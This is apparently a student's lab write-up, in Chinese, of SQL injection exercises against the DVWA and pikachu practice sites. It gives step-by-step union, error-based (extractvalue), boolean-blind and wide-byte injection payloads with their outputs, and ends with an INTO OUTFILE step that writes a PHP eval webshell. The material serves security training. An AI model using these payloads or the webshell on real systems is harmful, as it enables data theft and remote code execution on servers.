分别在前端和后端使用 Union 注入实现“dvwa 数据库 -user 表 - 字段 -first_name 数据”的注入过程,写清楚注入步骤。
后台注入 :selectuser_id,first_namefromuserswhereuser_id=1or1=1
前端注入 1' or 1=1 #
屏幕剪辑的捕获时间: 2023/10/6 18:58
在前端和后端使用报错注入实现“dvwa 数据库 -user 表 - 字段”的注入过程,写清楚注入步骤,并回答下列关于报错注入的问题:
后端注入:
前端注入:
1,通过 1' and extractvalue(1,concat(0x7e,database()));# 得到:
XPATH syntax error: '~dvwa'
2,通过 1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database())));# 得到
XPATH syntax error: '~2'
3,通过1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)));# 得到 XPATH syntax error: '~users'
4,后面通过前面的sql 语句依次找出列名称,用户名和密码
• 在 extractvalue 函数中,为什么’~'写在参数 1 的位置不报错,而写在参数 2 的位置报错?
• 这个符号不是 xpath 的语法。
• 报错注入中,为什么要突破单引号的限制,如何突破?
• 需要把自己的sql 语句给拼接上。一般通过加单引号突破
• 在报错注入过程中,为什么要进行报错,是哪种类型的报错?
• 通过报错可以把信息给提取出来,是sql 的函数报错,语法报错。
复制代码
布尔盲注或者时间盲注在前端和后端实现“库名 - 表名 - 列名”的注入过程,写清楚注入步骤。
判断是否存在注入,注入的类型:
1,输入 1' and 1=1 # 显示User ID exists in the database.
2,输入 1' and 1=2 # 显示User ID is MISSING from the database.
可知 漏洞存在。
判断数据库名称
通过 1' and length(database())=4;# 为真,可以知道数据库名长度为4
然后猜每一个字母
1' and ascii(substr(database(),1,1))=100;# exists
通过字符分割加二分法可以知道数据库名称为 dvwa
猜测表的个数:
1' and (select count(table_name) from information_schema.tables where
table_schema=database())=2;#
猜测第一个表的字母长度。
1' and length((select table_name from information_schema.tables where
table_schema=database() limit 0,1))=9;#
通过相同的方法猜测表名称和列名
1' and ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))>105;
可知
表名称为: guestbook 和users
猜测users 表中的字段数
1' and (select count(column_name) from information_schema.columns where
table_schema=database() and table_name='users')=8;# exists
然后猜出重要的列名 如: 用户名,密码
1' and (select count(*) from information_schema.columns where
table_schema=database() and table_name='users' and column_name='password')=1;
1' and (select count(*) from information_schema.columns where
table_schema=database() and table_name='users' and column_name='user')=1;#
可知 字段名为 user ,password
复制代码
宽字节注入实现“库名 - 表名 - 列名”的注入过程,写清楚注入步骤。
通过 kobe 運' or extractvalue(1,concat(0x7e,database()));# 得到 XPATH syntax error: '~pikachu'
通过 kobe 運' or extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database())));# 得到
XPATH syntax error: '~5'
剩下的和题目二一样了。
SQL 注入实现 DVWA 站点的 Getshell,写清楚攻击步骤。
注入点注入
' union select 1,"<?php eval($_POST['a']);" into outfile
'/var/www/html/shell2.php
访问 localhost:8080/shell2.php?
可以看到:
复制代码
评论